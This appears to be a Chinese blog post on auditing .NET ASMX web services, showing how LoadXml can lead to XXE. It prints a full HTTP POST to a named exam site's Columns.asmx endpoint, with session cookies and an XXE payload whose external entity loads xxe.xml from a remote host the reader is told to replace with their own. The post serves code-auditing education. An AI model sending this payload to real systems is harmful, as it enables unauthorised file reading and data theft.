首页 > 其他分享 >.NET代码审计之WebService安全

.NET代码审计之WebService安全

时间:2022-09-03 21:48:36浏览次数:62  
标签:审计 xml 15 WebService pagerSize asmx Course NET

背景是微信群里有伙伴问起asmx接口怎么测试,其实和其他语言的API接口一样,每一条接口都有可能存在SQL注入、XXE、文件读取写入等风险,代码审计时需关注扩展名为 .asmx的文件。在审计XXE漏洞时需看loadxml方法,如下图

HTTP请求Post 需要把xxe.xml地址更换成你的主机地址 ,请求成功之后就会返回一个 xxe.txt

POST http://xxx.com/Manage/SOAP/Columns.asmx/Update HTTP/1.1
Host: xxx.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Origin: http://exam.weisha100.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://exam.weisha100.cn/Manage/SOAP/Columns.asmx?op=Update
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=ibxaewhdmvyuatw2m0qig0sw; Course_139=139; Course_145=145; Course_125=125; studentvcode=8cff9bf6694dccfc3b6a613d05d51d16; registercode=059fdcd96baeb75112f09fa1dcc740cc; StuedentUID=9182952260bdd0754be375f8607238eb; stuid=946fc793fa38c1acd146742be11e1beb; admincode=ebf12cb74e96e67e63783d93c534ef27; user_pagerSize=15; employee_pagerSize=15; limitdomain_pagerSize=15; logslogin_pagerSize=15;
logswork_pagerSize=15; logindex=3d863b367aa379f71c7afc0c9cdca41d; testarchives_pagerSize=20; archives_pagerSize=20; queserror_pagerSize=15; online_pagerSize=15; Course_88=88; article_39=39; stOnlineNumx=7242

result=<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://www.xxxx.com/xxe.xml">
%remote;]>
<root/>

标签:审计,xml,15,WebService,pagerSize,asmx,Course,NET
From: https://www.cnblogs.com/Ivan1ee/p/16653718.html

相关文章

  • linux 上发布.netcore
    环境的准备1.windows环境1).虚拟机:这里我用VMware2).linux:这里我用CentOS73).文件传输工具:MobaXterm(用于windows发布文件上传,很多人可能会用XShell,都可以的) 2.lin......
  • 一篇文章教你学会ASP.Net Core LINQ基本操作
    一篇文章教你学会ASP.NetCoreLINQ基本操作为什么要使用LINQLINQ中提供了很多集合的扩展方法,配合lambda能简化数据处理。例如我们想要找出一个IEnumerable<int>中所有......
  • ASP.NET Core 实战-10.使用依赖注入的服务配置
    依赖注入简介本节旨在让您基本了解什么是依赖注入,为什么要关注它,以及ASP.NETCore如何使用它。该主题本身远远超出了这一章的范围。如果您想要更深入的背景,我强烈建议......
  • ASP.NET Core 实战-8.使用标签助手构建表单
    显示动态数据是许多Web应用程序的一个重要方面,但它通常只是故事的一半。除了向用户显示数据之外,您通常还需要用户能够将数据提交回您的应用程序。例如,您可以使用数据来......
  • C#/.net面试知识点总结
    &和&&的区别相同点&和&&都可作逻辑与的运算符,表示逻辑与(and),当运算符两边的表达式的结果都为true时,其结果 才为true,否则,只要有⼀⽅为false,则结果为false。(ps:当要⽤到逻辑......
  • ASP.NET Core 实战-6.绑定模型:检索和验证用户输入
    理解RazorPages和MVC中的模型MVC就是关注点分离。前提是通过隔离应用程序的每个方面以专注于单一职责,它可以减少系统中的相互依赖性。这种分离使得在不影响应用程......
  • ASP.NET Core 实战-3.使用中间件管道处理请求
    我们将首先了解中间件的概念,您可以使用它实现的所有事情,以及中间件组件通常如何映射到“横切关注点”。这些是跨越多个不同层的应用程序的功能.日志记录、错误处理和安全......
  • ASP.NET Core 实战-2.你的第一个应用程序
    ASP.NETCore应用程序的简要概述假设您要创建一个Web应用程序来显示有关您公司的信息。您可以创建一个简单的ASP.NETCore应用程序来实现这一点;然后,稍后,您可以为您......
  • vb.net VSIX开发 历遍项目 历遍文件
    vb.net开发VS插件想要操作一下所有项目中的所有函数代码.结果查了大量的微软参考文档,竟然没有发现而网友提供的例子,多不是vb.net,而且没有操控代码的.基本都是Acti......
  • vb.net 开发 VSIX VS插件开发 Addin 入门 示例
    使用vb.net写一个小的VS插件,简直就是灾难. 微软网站上机器翻译的中文,惨不忍睹.折腾了一天多,把心得给大家分享一下.同时也希望有高手指导一下.如果创建项目没......